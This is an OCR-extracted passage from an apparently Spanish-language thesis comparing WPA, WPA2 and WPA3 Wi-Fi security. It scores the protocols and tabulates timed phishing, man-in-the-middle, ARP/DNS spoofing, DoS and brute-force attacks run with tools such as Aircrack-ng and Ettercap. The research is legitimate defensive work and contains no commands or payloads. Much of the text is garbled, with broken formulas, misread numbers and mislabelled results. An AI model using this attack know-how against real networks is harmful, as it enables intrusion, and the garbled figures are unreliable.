ataque de

fuerza bruta

Promedio de
tiempo de
éxito de
Ataque de

* AtBrut;

n - =
i=1 AtDiccio;

n

Técnica: Revision
Documental
Instrumento:

Ficha de registro de datos

Técnica: Revision
Documental
Instrumento:

Ficha de registro de datos
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diccionario a
un ssid
oculto

Fuente: Elaboracion Propia.
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2.4.Técnicas e instrumentos de recoleccion de datos, validez y
confiabilidad.

Se hara uso de los siguientes instrumentos para la recoleccion de datos:

a) Revision Documental: Se revisé el documento de (Tafur & Chavez,
2018), el cual cuenta con formatos de evaluacion de protocolos de
seguridad en redes inalambricas Wi-Fi y los cuales han servido
parcialmente para la evaluacion de los protocolos como se muestra en

la tabla siguiente.
Tabla 8.

Técnicas de recolecciéon de datos.

o Elementos de la o
Técnica Instrumento . Descripcion
poblacion

Formatos para
evaluacion de Documentos y Evaluacién de

protocolos de fichas desempefio de
seguridad en establecidas protocolos de
Revision _
redes para la seguridad en
Documental = ) y
inalambricas evaluacion  de redes

Wi-Fi  (Anexos protocolos de inalambricas
2-10) seguridad Wi-Fi  Wi-Fi

Fuente: Elaboracion Propia

2.5.Procedimiento de analisis de datos.

Se utilizo las siguientes formulas:
Indicadores en variable independiente:

eTamafio del IV (vector de iniciacion): El tamafio del IV basicamente esta
ligado al algoritmo de cifrado y del protocolo de criptografia por lo general es
tan largo como el tamafo de bloque o como el tamafio de la clave, por lo que

sera un indicador del cifrado del protocolo.
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eMecanismos de Integridad de la cabecera: Los protocolos de seguridad
ofrecen mecanismos de integridad, tales como Integrity Check Value — Valor
de verificacion de integridad (iCV), el algoritmo Michael en el caso de WPA 'y
WPAZ2 y el Algoritmo Galois Counter Mode en WPAS.

eDistribucion de clave forma manual: Mientras WEP cuenta con un sistema
abierto y de clave compartida, WPA y WPA2 estdn implementados con
sistemas de clave precompartida y del mismo modo WPA3 cuenta con un
sistema de autenticacion llamado Dragonfly.
Para el caso de las variables independientes, se procedera a utilizar una
escala valorativa para medir los indicadores por cada protocolo segun lo
sefialado en el ANEXO 2
Luego se procedera a colocar los resultados en la tabla del anexo 3, y se
procedera a operar conforme lo sefialado en los anexos 4-6.
Indicadores en variable dependiente:

ePromedio de tiempo de éxito de ataque Phishing: Se utilizara este indicador
para medir la confidencialidad.
n  AtPhi;

Promedio de tiempo de éxito Phishing = -

Donde: AtPhi= tiempo de éxito de ataque Phishing
n=numero de ataques Ataques Phishing realizados

ePromedio de tiempo de éxito de ataque Man in the middle: Se utilizara este
indicador para medir la confidencialidad.
>n | AtMiTM;
n

Promedio de tiempo de éxito Man in the Middle =

Dénde: AtMITM= tiempo de éxito de ataque Ataques de Man in the middle
n=numero de Ataques Man in The Middle realizados

ePromedio de tiempo de éxito de ataque ARP Spoofing + DNS Spoofing:
Se utilizara este indicador para medir la confidencialidad.
i1 AtSpo;
n
Donde: AtSpo= tiempo de éxito de ataque ARP Spoofing + DNS Spoofing

Promedio de tiempo de éxito ARP Spoofing + DNS Spoofing =
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n=numero de Ataques ARP Spoofing + DNS Spoofing realizados

ePromedio de tiempo de éxito de ataque DoS: Se utilizara este indicador para

medir la integridad.

. . . i=1 AtDoS;
Promedio de tiempo de éxito DoS = B e—
Dénde: AtDoS= tiempo de éxito de ataque DoS

n=numero de Ataques DoS realizados

ePromedio de tiempo de éxito de ataque de fuerza bruta: Se utilizara este

indicador para medir la autenticacion.

. , . i=1 AtBrut;
Promedio de tiempo de éxito DoS = —
Doénde: AtBrut= tiempo de éxito de ataque de fuerza bruta

n=numero de Ataques de fuerza bruta realizados

ePromedio de tiempo de éxito de ataque de diccionario a un ssid oculto:

Se utilizara este indicador para medir la autenticacion.
*  AtDiccio;
n
Dénde: AtDiccio= tiempo de éxito de ataque de diccionario

Promedio de tiempo de éxito DoS =

n=numero de Ataques de diccionario realizados

Luego de obtener los resultados, se procederan a colocar los resultados

obtenidos en la tabla del anexo 7, y se procedera a operar conforme lo sefialado

en los anexos 8-10.

Para la recoleccién de datos en ambos escenarios se hace uso de las siguientes

herramientas de auditoria Wi-Fi:
- Kali Linux

- WIFISLAX

- Xiaopan Os.

- Ettercap

2.6.Criterios éticos.
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Los criterios éticos se relacionaron con la evaluacion de protocolos de redes

inalambricas Wi-Fi por ello se aplico el siguiente criterio.

a. Criterio de conformidad
El estudio busca estar alineado con las leyes que el Colegio de Ingenieros
del Perl establece dentro de sus politicas internas respecto a la ética
profesional que caracteriza a los profesionales de esta rama de la ciencia,
por ello, se buscara que los expertos seleccionados manifiesten compromiso
con el Codigo Deontologico del Colegio Profesional en mencion,
considerando las penalidades sujetas al incumplimiento de objetividad y

transparencia.

2.7.Criterios de Rigor Cientifico.
La presente investigacion se ejecutara bajo un enfoque cuantitativo, por lo
gue validara la eficiencia de los protocolos antes indicados, bajo criterios
cientificos que permitan su transferibilidad en contexto similares, midiendo
los indicadores propuestos, generados a partir de la recoleccion de

resultados y orden correspondiente, de manera exhaustiva, clara y concisa.

a. Criterio de claridad
Bajo este criterio se busca que lo manifestado en el presente estudio sea
entendible en el lenguaje aplicado, sin llegar a cometer ambigiiedad de
definicion de términos o conflictos de elementos, alterando el entendimiento

del responsable de la implementacion en la organizacion.

b. Criterio de objetividad
Los resultados deberan ser medibles y concretos dentro de la conducta que
manifiesten, permitiendo datos concretos del contexto y de la realidad

obtenida tras la implementacion de la metodologia propuesta.

c. Criterio de coherencia
Las descripciones de actividades deberan manifestar correspondencia

|6gica entre la teoria y lo plasmado en el desarrollo del presente estudio, con
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el fin de reforzar la premisa de los protocolos de seguridad deben ser
implementados y cual de ellos puede resultar més eficiente.

Criterio de pertinencia

El contenido del presente estudio buscara respetar los principios de
seguridad de la informacion y términos familiarizados a la seguridad de la
informacion. Considerando evitar confusion con términos de riesgos

financieros, riesgos de salud, riesgos operacionales, entre otros similares.

Criterio de suficiencia
El presente estudio buscard cubrir lo exigido por los principios de la
seguridad informatica, y debera manifestar suficiencia en sus actividades e

instrumentos construidos.

Criterio de relevancia

El presente estudio serd importante para lograr el entendimiento de la
implementacion de protocolos en redes inaldmbricas wi-fi y determinan
claramente los pro y contras al implementar cada protocolo dentro de una

organizaciéon o red doméstica.
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. RESULTADOS.
VARIABLE INDEPENDIENTE

3.1.

Resultados en Tablas y Figuras.

Se inicia con la variable independiente donde se continuara con el

andlisis respectivo, se tomara como referencia a datos establecidos

en cada protocolo inaldmbrico y a ciertas especificaciones técnicas.

Se dara los siguientes valores cuantitativos:

Tabla 9.

Escala Valorativa de cuantificacién de indicadores (Variable

Independiente).

CARACTERISTICA CALIFICACION

Muy Malo 0
Malo 1
Regular 2
Muy bueno 3
Excelente 4

Fuente: (Tafur & Chavez, 2018)

INDICADOR 1: Cifrado

Escenario Doméstico

Tabla 10.
Cifrado de protocolos.

INDICES WPA WPA2

WPA3

Algoritmo de 3 3
cifrado
Tamafo del 2 3
v

Fuente: Elaboracion propia.
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P
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WPA2 WPA3
Protocolos de Seguridad Wi-Fi

Figura 17: INDICADOR - CIFRADO. Fuente: Elaboracién Propia.

Interpretacion:

El protocolo inaldmbrico WPA utiliza un algoritmo TKIP como
instrumento de encriptacion, que ayudan a resolver la
debilidad del vector de inicializacion de WEP con la inclusion
del vector con una longitud de (48 bits), asi permitiendo lograr
una combinacion de caracteres de claves distintas
previniendo ataques. Las WPA-AES se (generan
automaticamente 'y son repartidas automaticamente
eludiendo su modificacion manual cada determinado tiempo.
El cifrado en el protocolo WPA2 a diferencia de WPA, se
distingue por utilizar el estandar AES en lugar del cifrado de
fluo RCA4. Finalmente, el cifrado es de 128 bits en modo
WPA3-Personal. El protocolo WPA3 también reemplaza el
intercambio de claves precompartidas (PSK) con la
autenticacion simultanea de iguales, una forma mas segura
de realizar el intercambio de claves inicial que con los

protocolos anteriores.
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INDICADOR 2: Mecanismos de Entrega de Datos

Tabla 11.

Mecanismos de entrega de datos.

INDICES WPA WPA2 WPA3
Mecanismos de Integridad 2 3 4

de la cabecera.
Fuente: Elaboracion propia.

4,5
4
3,5
3
2,5
2
1,5
1
0,5
0

ESCALA VALORATIVA

WPA WPA2 WPA3
Protocolos de Seguridad Wi-Fi

m Mecanismos de integridad de cabecera

Figura 18: Mecanismos de cabecera. Fuente: Elaboracion Propia.

Interpretacion:

En el caso de WPA-TKIP y WPA-AES, es el algoritmo Michael
el que es usado para el calculo de cédigo de integridad que
evita que el atacante capture paquetes y que estos sean
modificados y reenviados. Este algoritmo fue limitado por
Hardware basado en RC4 debido a que no proporcionan
seguridad contra ataques de fuerza bruta. Pasando a WPAZ2,
se asegura la cabecera del frame y los datos mediante CCMP.
WPAZ2 cifra el MIC con el cifrado de modo contador de AES.
Finalmente, por el lado de WPA3, se utiliza GCMP el cual
utiliza el mismo algoritmo de cifrado AES, pero de un modo
de operacion ligeramente diferente llamado Galois Counter

Mode, o también conocido como GCM. Este nuevo modo de
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operacion es mas eficiente, tanto a la hora de operar con los
bloques de datos, como también su implementacion. AES-
GCM no es un protocolo nuevo, de hecho, llevamos varios
afos usandolo en protocolos como OpenVPN, IPSec, HTTPS
y conexiones TLS en general. Sin embargo, si es una
novedad su estandarizacion para usarlo en Wi-Fi.

INDICADOR 3:

Autorizacién

Tabla 12.
Autorizacion.
INDICES WPA WPA2 WPA3
Distribucion de clave
forma manual 1 1 2
Autenticacion de
maquina 1 2 3

Fuente: Elaboracion propia.

3,5
3
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<
o 2
©
>
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Protocolos de seguridad Wi-Fi
m Distribucion de clave forma manual Autenticacion de la maquina

Figura 19: Distribucién de clave. Fuente: Elaboracion Propia.
Interpretacion:
Con WPA-TKIP la configuracion de las claves es de forma

manual en los Access Point y clientes, y deja abierta la
76



vulnerabilidad de parte del usuario dado a que no se generan
claves suficientemente fuertes. El mecanismo de integridad
mejorada no permite la inyeccion de trafico, pero permite
disociaciones por las autenticaciones haciendo uso de MACy
con WPA-AES hace uso de una configuracién robusta
verificando a cada usuario y no solo a la MAC, tiene una
generacion Unica de claves automaticas dejando de lado las
claves compartidas por todos los usuarios de un entorno. Si
deseamos vulnerar una infraestructura montada es dificil pero
si utilizamos un cifrado ya vulnerado llega a ser susceptible a
los ataques en las contrasefias, es susceptible a
interferencias por parte del Access Point.

WPA2 usa dos modos de pre-autenticacién dando posibilidad
al usuario el establecimiento de procesos de autenticacion
con puntos de accesos proximos. WPA2-TKIP que resulta
similar a WPA, al contar con una clave distribuida
manualmente al usar el cifrado y WPA2-AES que hace uso de
un cifrado mejorado respecto a sus predecesores, mediante
una configuracion mas robusta, generando claves
automaticas Unicas por cada usuario evitando la distribucion
manual. Finalmente, con WPA3 tenemos La "Autenticacion
simultanea de iguales (SAE)" para proporcionar una
autenticacion basada en contrasefia mas confiable. WPA3
proporciona a los usuarios una proteccion de seguridad
mejorada al verificar la informacion de la contrasefa y utilizar
contrasefias para la verificacion de identidad en lugar de la

exportacion de claves.

Tabla 13.
Subtotales del Analisis de la Variable Independiente.
Dimensiones Indicadores WPA WPA2 WPA3
Método de Cifrado Algoritmo de cifrado 3 3 4
Tamafio del IV 2 3 3
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Mecanismos de Entrega Mecanismos de 2 3 4

de Datos integridad de la
cabecera
Autorizacion Distribucién de clave 1 1 2
forma manual
Autenticacion de 1 2 3
maquina
RESULTADOS TOTALES 9 12 16

Fuente: Elaboracion propia.

Tabla 14.

Sumatoria de Analisis de la variable Independiente.

DIMENSIONES WPA WPA2 WPA3
Método de Cifrado 5 6 7
Mecanismos de 2 4 4
Entrega de Datos

Autorizacion 2 3 5
RESULTADOS 9 12 16
TOTALES

Fuente: Elaboracion propia.

Dénde:

Puntaje total del Analisis: PT= X~ (Pi maximos por
indicador) Entonces:
PT=7+4+5=16

Puntaje total de cada Protocolo Analizado: PT_PW= Z (Pwi)

Porcentaje total de cada Protocolo Analizado: (%PW) =
(PT_PW /PT) *100%

Tabla 15.

Porcentaje Total de Cada Protocolo Analizado.
WPA WPA2 WPA3

56,25% 75% 100%

Fuente: Elaboracion propia.
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Tabla 16.
Porcentaje por Protocolo de Variable Independiente

INDICES WPA WPA2 WPAS
PT_PW 9 12 16

PT 16 16 16
PORCENTAJE 56,25 75 100
POR

PROTOCOLO

Fuente: Elaboracion propia.
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PORCENTAJE POR PROTOCOLO
DE V. INDEPENDIENTE

Figura 20: Porcentaje por Protocolo de Variable Independiente.

Fuente: Elaboracion Propia.

VARIABLE DEPENDIENTE

Con respecto a la variable dependiente, se hicieron 30 ataques por cada protocolo
para determinar un tiempo promedio

INDICADOR DE CONFIDENCIALIDAD

Ataque Phishing

Ataque Phishing en Protocolo WPA

Con respecto al protocolo WPA se obtuvieron los siguientes tiempos de éxito del
ataque Phishing:

Tabla 17.

Tiempos de éxito de ataque Phishing con el protocolo WPA.
Valor 1 7.9
Valor 2 8.1
Valor 3 8.0
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Valor 4 8.0

Valor 5 7.9
Valor 6 7.9
Valor 7 1.7
Valor 8 8.1
Valor 9 7.9
Valor 10 8.0
Valor 11 7.8
Valor 12 8.1
Valor 13 8.3
Valor 14 8.0
Valor 15 7.8
Valor 16 8.2
Valor 17 7.8
Valor 18 7.8
Valor 19 8.3
Valor 20 7.8
Valor 21 8.2
Valor 22 8.1
Valor 23 8.2
Valor 24 8.2
Valor 25 8.2
Valor 26 7.8
Valor 27 8.0
Valor 28 7.8
Valor 29 8.2
Valor 30 8.0

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA, se procede
a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

, . - - Yizq AtPhi;
Promedio de tiempo de éxito Phishing = B —
. . . o 79+81+--82+8 240
Promedio de tiempo de éxito Phishing = 30 =30 = 8

Obteniendo que en promedio el tiempo de éxito del ataque Phishing en el protocolo
WPA fueron 8 minutos.

Ataque Phishing en Protocolo WPA2

Con respecto al protocolo WPA2 se obtuvieron los siguientes tiempos de éxito del
ataque Phishing:
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Tabla 18.
Tiempos de éxito de ataque Phishing con el protocolo WPA2.

Valor 1 12.3
Valor 2 12.0
Valor 3 11.7
Valor 4 12.0
Valor 5 12.0
Valor 6 12.0
Valor 7 11.9
Valor 8 12.2
Valor 9 11.8
Valor 10 11.9
Valor 11 12.0
Valor 12 12.3
Valor 13 12.0
Valor 14 12.1
Valor 15 12.1
Valor 16 11.9
Valor 17 11.9
Valor 18 121
Valor 19 11.7
Valor 20 12.0
Valor 21 12.0
Valor 22 12.2
Valor 23 12.3
Valor 24 12.0
Valor 25 11.9
Valor 26 12.0
Valor 27 121
Valor 28 121
Valor 29 11.9
Valor 30 11.7

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA2, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente formula:

. . o) . . ?:1 Atphll
Promedio de tiempo de éxito Phishing = E—
. . . o 12,3+12,0+--119+ 11,7 360
Promedio de tiempo de éxito Phishing = 30 =30 = 12

Obteniendo que en promedio el tiempo de éxito del ataque Phishing en el protocolo
WPAZ2 fueron 12 minutos.
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Ataque Phishing en Protocolo WPA3

Con respecto al protocolo WPA3 se obtuvieron los siguientes tiempos de
exito del ataque Phishing:

Tabla 19.

Tiempos de éxito de ataque Phishing con el protocolo WPA3.
Valor 1 23.3
Valor 2 22.9
Valor 3 23.2
Valor 4 23.3
Valor 5 23.2
Valor 6 23.4
Valor 7 23.0
Valor 8 23.2
Valor 9 23.1
Valor 10 23.3
Valor 11 23.4
Valor 12 23.1
Valor 13 23.4
Valor 14 231
Valor 15 231
Valor 16 23.3
Valor 17 23.4
Valor 18 23.2
Valor 19 231
Valor 20 23.0
Valor 21 23.2
Valor 22 23.2
Valor 23 23.3
Valor 24 231
Valor 25 23.0
Valor 26 23.4
Valor 27 23.0
Valor 28 23.5
Valor 29 22.9
Valor 30 231

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPAS, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente formula:

. , - - i=1 AtPhi;

Promedio de tiempo de éxito Phishing = B —
, . . - 23,3+239+ 229+ 23,1 696
Promedio de tiempo de éxito Phishing = 30 =30

= 23,2
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Obteniendo que en promedio el tiempo de éxito del ataque Phishing en el protocolo
WPAZ3 fueron 23,2 minutos.

Luego procedemos a comparar los tiempos de éxito en promedio con cada
protocolo.

Tabla 20.

Tiempo de éxito ante el ataque Phishing de los protocolos de seguridad Wi-Fi.
Protocolos Wi-Fi WPA WPA2 WPA3
Suplantacion de identidad 8min 12 min  23.2mi
(Phishing) :

Fuente: Elaboracion Propia.

25 23,2
20
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10 8

)]

Tiempo promedio de penetracion del
ataque en minutos

WPA WPA2 WPA3
Protocolos de seguridad Wi-Fi

Figura 20: Tiempo de éxito ante el ataque Phishing de los protocolos de seguridad
Wi-Fi. Fuente: Elaboracion Propia.

Ataque Man in the middle
Ataque Man in the middle en Protocolo WPA

Con respecto al protocolo WPA se obtuvieron los siguientes tiempos de éxito del
ataque Man in the middle:

Tabla 21.
Tiempos de éxito de ataque Man in the middle con el protocolo WPA.
Valor 1 3.0
Valor 2 2.8
Valor 3 3.2
Valor 4 2.9
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Valor 5 31

Valor 6 2.9
Valor 7 3.0
Valor 8 2.8
Valor 9 2.9
Valor 10 3.2
Valor 11 2.9
Valor 12 3.2
Valor 13 31
Valor 14 2.8
Valor 15 3.2
Valor 16 2.8
Valor 17 31
Valor 18 2.8
Valor 19 2.9
Valor 20 3.1
Valor 21 3.1
Valor 22 3.0
Valor 23 3.0
Valor 24 31
Valor 25 2.7
Valor 26 3.2
Valor 27 2.9
Valor 28 3.2
Valor 29 3.0
Valor 30 2.8

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA, se procede
a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

Promedio de tiempo de éxito Man in the middle = B —
. . . . . 30+28+--3,0+28 90
Promedio de tiempo de éxito Man in the middle = 30 =30

=3

Obteniendo que en promedio el tiempo de éxito del ataque Phishing en el protocolo
WPA fueron 3 minutos.

Ataque Man in the middle en Protocolo WPA2

Con respecto al protocolo WPA2 se obtuvieron los siguientes tiempos de éxito del
ataque Man in the middle:

Tabla 22.
Tiempos de éxito de ataque Man in the middle con el protocolo WPA2.
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Valor 1

Valor 2

Valor 3

Valor 4

Valor 5

Valor 6

Valor 7

Valor 8

Valor 9

Valor 10
Valor 11
Valor 12
Valor 13
Valor 14
Valor 15
Valor 16
Valor 17
Valor 18
Valor 19
Valor 20
Valor 21
Valor 22
Valor 23
Valor 24
Valor 25
Valor 26
Valor 27
Valor 28
Valor 29
Valor 30

3.8
3.7
3.8
3.2
3.8
3.4
3.8
3.4
3.4
3.8
3.3
3.3
3.5
3.2
3.6
3.4
3.6
3.4
3.2
3.6
3.4
3.8
3.2
3.7
3.2
3.4
3.7
3.3
3.4
3.5

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA2, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

Promedio de tiempo de éxito Man in the middle =

Promedio de tiempo de éxito Man in the middle =

L AtMiTM;

38+37+--34+35 105

Obteniendo que en promedio el tiempo de éxito del ataque Phishing en el protocolo

WPA fueron 3,5 minutos.
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Ataque Man in the middle en Protocolo WPA3

Con respecto al protocolo WPA3 se obtuvieron los siguientes tiempos de éxito del
ataque Man in the middle:

Tabla 23.

Tiempos de éxito de ataque Man in the middle con el protocolo WPA3.
Valor 1 4.4
Valor 2 4.3
Valor 3 4.6
Valor 4 4.3
Valor 5 4.4
Valor 6 4.3
Valor 7 4.3
Valor 8 4.3
Valor 9 4.4
Valor 10 4.3
Valor 11 4.5
Valor 12 4.3
Valor 13 4.5
Valor 14 4.6
Valor 15 4.5
Valor 16 4.3
Valor 17 4.3
Valor 18 4.6
Valor 19 4.3
Valor 20 4.4
Valor 21 4.5
Valor 22 4.4
Valor 23 4.4
Valor 24 4.5
Valor 25 4.4
Valor 26 4.3
Valor 27 4.3
Valor 28 4.6
Valor 29 4.4
Valor 30 4.3

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPAS, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

Promedio de tiempo de éxito Man in the middle =

n AtMiTM,;

n
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44+ 43+ 44443 132
30 30

Promedio de tiempo de éxito Man in the middle =
=44

Obteniendo que en promedio el tiempo de éxito del ataque Phishing en el protocolo
WPA fueron 4,4 minutos.

Luego procedemos a comparar los tiempos de éxito en promedio con cada
protocolo.

Tabla 24.
Tiempo de éxito ante el ataque Man in the middle de los protocolos de seguridad
Wi-Fi.

Protocolos WiFi WPA WPA2 WPA3
Man in the middle 3min 3,5min 4,4
min

Fuente: Elaboracion Propia.

ataque en minutos
o P N w
g =k 01 N 01w O

Tiempo promedio de penetracién del
o -

WPA WPA2 WPA3
Protocolos de seguridad Wi-Fi

Figura 21: Tiempo de éxito ante el ataque Man in the middle de los protocolos de
seguridad Wi-Fi. Fuente: Elaboracion Propia.

Ataque ARP Spoofing + DNS Spoofing

Ataque ARP Spoofing + DNS Spoofing en Protocolo WPA

Con respecto al protocolo WPA se obtuvieron los siguientes tiempos de éxito del
ataque ARP Spoofing + DNS Spoofing:
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Tabla 25.
Tiempos de éxito de atague ARP Spoofing + DNS Spoofing con el protocolo WPA.

Valor 1 1.7
Valor 2 21
Valor 3 21
Valor 4 21
Valor 5 2.0
Valor 6 1.9
Valor 7 21
Valor 8 1.9
Valor 9 2.2
Valor 10 2.0
Valor 11 18
Valor 12 21
Valor 13 1.9
Valor 14 21
Valor 15 1.8
Valor 16 2.2
Valor 17 2.2
Valor 18 2.1
Valor 19 2.0
Valor 20 18
Valor 21 2.1
Valor 22 2.2
Valor 23 2.1
Valor 24 1.7
Valor 25 1.9
Valor 26 21
Valor 27 18
Valor 28 1.9
Valor 29 2.1
Valor 30 1.9

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA, se procede
a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

. . . . . i=1 AtSpo;
Promedio de tiempo de éxito ARP Spoofing + DNS Spoofing = B —

Promedio de tiempo de éxito ARP Spoofing + DNS Spoofing
17421421419 60

30 T30

Obteniendo que en promedio el tiempo de éxito del ataque ARP Spoofing + DNS
Spoofing en el protocolo WPA fueron 2 minutos.

88



Ataque ARP Spoofing + DNS Spoofing en Protocolo WPA2

Con respecto al protocolo WPA2 se obtuvieron los siguientes tiempos de éxito del

ataque ARP Spoofing + DNS Spoofing:

Tiempos de éxito de ataque ARP Spoofing + DNS Spoofing con el protocolo

Tabla 26.
WPA2.
Valor 1 2.7
Valor 2 2.3
Valor 3 2.5
Valor 4 2.7
Valor 5 2.2
Valor 6 2.2
Valor 7 2.3
Valor 8 2.1
Valor 9 2.6
Valor 10 2.5
Valor 11 2.5
Valor 12 2.6
Valor 13 24
Valor 14 24
Valor 15 2.3
Valor 16 2.6
Valor 17 2.5
Valor 18 24
Valor 19 21
Valor 20 24
Valor 21 2.5
Valor 22 2.2
Valor 23 2.6
Valor 24 2.6
Valor 25 23
Valor 26 21
Valor 27 2.2
Valor 28 2.6
Valor 29 2.3
Valor 30 2.2

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA2, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente formula:

Promedio de tiempo de éxito ARP Spoofing + DNS Spoofing =

n

i=1 AtSpo;
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Promedio de tiempo de éxito ARP Spoofing + DNS Spoofing
_274+23+--23+22 72

30 T30

2,4

Obteniendo que en promedio el tiempo de éxito del ataque ARP Spoofing + DNS
Spoofing en el protocolo WPA2 fueron 2,4 minutos.

Ataque ARP Spoofing + DNS Spoofing en Protocolo WPA3
Con respecto al protocolo WPA3 se obtuvieron los siguientes tiempos de éxito del
ataque ARP Spoofing + DNS Spoofing:

Tabla 27.
Tiempos de éxito de ataque ARP Spoofing + DNS Spoofing con el protocolo
WPAS3.

Valor 1 3.4
Valor 2 3.3
Valor 3 3.4
Valor 4 3.2
Valor 5 3.1
Valor 6 31
Valor 7 3.3
Valor 8 3.3
Valor 9 3.6
Valor 10 3.2
Valor 11 3.4
Valor 12 3.1
Valor 13 3.3
Valor 14 3.2
Valor 15 3.2
Valor 16 3.6
Valor 17 3.3
Valor 18 3.6
Valor 19 3.3
Valor 20 34
Valor 21 34
Valor 22 3.2
Valor 23 3.2
Valor 24 3.1
Valor 25 3.4
Valor 26 3.1
Valor 27 3.3
Valor 28 3.6
Valor 29 3.3
Valor 30 3.4

Fuente: Elaboracion Propia.
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Luego de hacer los 30 intentos por cada ataque con el protocolo WPAS, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

. , ;. , . ?=1At5pol'
Promedio de tiempo de éxito ARP Spoofing + DNS Spoofing = B e—

Promedio de tiempo de éxito ARP Spoofing + DNS Spoofing
_34+433+--33+34 99 33

30 —30 ~

Obteniendo que en promedio el tiempo de éxito del ataque ARP Spoofing + DNS
Spoofing en el protocolo WPAS fueron 3,3 minutos.

Luego procedemos a comparar los tiempos de éxito en promedio con cada
protocolo.

Tabla 28.
Tiempo de éxito ante el ataque ARP Spoofing + DNS Spoofing de los protocolos
de seguridad Wi-Fi.

Protocolos Wi-Fi WPA WPA2 WPA3
ARP Spoofing + DNS 2min  2,4min  3,3min
Spoofing

Fuente: Elaboracion Propia.
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Figura 22: Tiempo de éxito ante el ataque ARP Spoofing + DNS Spoofing de los

protocolos de seguridad Wi-Fi. Fuente: Elaboracion Propia.
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INDICADOR DE INTEGRIDAD

Ataque DoS

Con respecto al protocolo WPA se obtuvieron los siguientes tiempos de éxito del

ataque DoS:

Tabla 29.

Tiempos de éxito de ataque DoS con el protocolo WPA.
Valor 1 3.1
Valor 2 3.4
Valor 3 3.4
Valor 4 3.4
Valor 5 3.7
Valor 6 3.6
Valor 7 3.3
Valor 8 3.3
Valor 9 3.4
Valor 10 34
Valor 11 3.7
Valor 12 34
Valor 13 3.7
Valor 14 34
Valor 15 3.2
Valor 16 3.5
Valor 17 34
Valor 18 34
Valor 19 3.2
Valor 20 35
Valor 21 3.2
Valor 22 3.1
Valor 23 3.7
Valor 24 3.2
Valor 25 3.3
Valor 26 3.1
Valor 27 3.3
Valor 28 3.7
Valor 29 3.3
Valor 30 3.6

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA, se procede
a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

* AtDos;

Promedio de tiempo de éxito DoS =
n
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31+34+--33+36 102
30 30

Promedio de tiempo de éxito DoS = = 3,4

Obteniendo que en promedio el tiempo de éxito del ataque DoS en el protocolo
WPA fueron 3,4 minutos.

Con respecto al protocolo WPA2 se obtuvieron los siguientes tiempos de
éxito del ataque DoS:

Tabla 30.
Tiempos de éxito de ataque DoS con el protocolo WPA2.

Valor 1 4.0
Valor 2 3.7
Valor 3 4.0
Valor 4 4.2
Valor 5 4.0
Valor 6 4.0
Valor 7 4.2
Valor 8 3.7
Valor 9 4.1
Valor 10 3.7
Valor 11 4.0
Valor 12 3.7
Valor 13 3.9
Valor 14 4.2
Valor 15 4.2
Valor 16 4.0
Valor 17 3.7
Valor 18 4.1
Valor 19 4.0
Valor 20 4.1
Valor 21 4.1
Valor 22 4.0
Valor 23 3.8
Valor 24 4.1
Valor 25 3.8
Valor 26 4.2
Valor 27 4.1
Valor 28 4.1
Valor 29 3.9
Valor 30 4.2

Fuente: Elaboracion Propia.

Luego de hacer los 30 intentos por cada ataque con el protocolo WPA2, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente formula:
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* AtDos;
n
4,0+3,7+--39+42 120
30 ~ 30

Promedio de tiempo de éxito DoS =

=4

Promedio de tiempo de éxito DoS =

Obteniendo que en promedio el tiempo de éxito del ataque DoS en el protocolo
WPAZ2 fueron 4 minutos.

Con respecto al protocolo WPA3 se obtuvieron los siguientes tiempos de
éxito del ataque DoS:

Tabla 31.
Tiempos de éxito de ataque DoS con el protocolo WPA3.

Valor 1 6.1
Valor 2 5.6
Valor 3 5.9
Valor 4 6.1
Valor 5 6.2
Valor 6 5.9
Valor 7 5.7
Valor 8 5.9
Valor 9 6.2
Valor 10 6.2
Valor 11 6.0
Valor 12 5.8
Valor 13 6.2
Valor 14 5.9
Valor 15 5.9
Valor 16 5.7
Valor 17 6.1
Valor 18 6.1
Valor 19 5.7
Valor 20 6.0
Valor 21 6.0
Valor 22 6.3
Valor 23 5.8
Valor 24 6.0
Valor 25 5.7
Valor 26 6.2
Valor 27 6.3
Valor 28 6.2
Valor 29 6.2
Valor 30 6.0

Fuente: Elaboracion Propia.
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Luego de hacer los 30 intentos por cada ataque con el protocolo WPA3, se
procede a realizar un promedio de dichos tiempos utilizando la siguiente férmula:

. . o) Z?:l AtDOSl
Promedio de tiempo de éxito DoS = —
, , . 6,1+56+--62+60 180
Promedio de tiempo de éxito DoS = 30 =30 " 6

Obteniendo que en promedio el tiempo de éxito del ataque DoS en el protocolo
WPAZ3 fueron 6 minutos.

Luego procedemos a comparar los tiempos de éxito en promedio con cada
protocolo.

Tabla 34.
Tiempo de éxito ante el ataque DoS de los protocolos de seguridad Wi-Fi.

Protocolos Wi-Fi WPA WPA2 WPA3

DoS 3,4m 4min 6min
in

Fuente: Elaboracion Propia.

)] [e]
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N

Tiempo promedio de penetracion del
ataque en minutos
= w

o

WPA WPA2 WPA3
Protocolos de seguridad Wi-Fi

Figura 23: Tiempo de éxito ante el ataque DoS de los protocolos de seguridad Wi-

Fi. Fuente: Elaboracion Propia.
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INDICADOR DE AUTENTICACION

Ataque de fuerza bruta (Aircrack-ng)

Ataque de fuerza bruta (Aircrack-ng) en Protocolo WPA

Con respecto al protocolo WPA se obtuvieron los siguientes tiempos de éxito del

ataque:

Tabla 33.

Tiempos de éxito de ataque de fuerza bruta con el protocolo WPA.
Valor 1 5.2
Valor 2 5.5
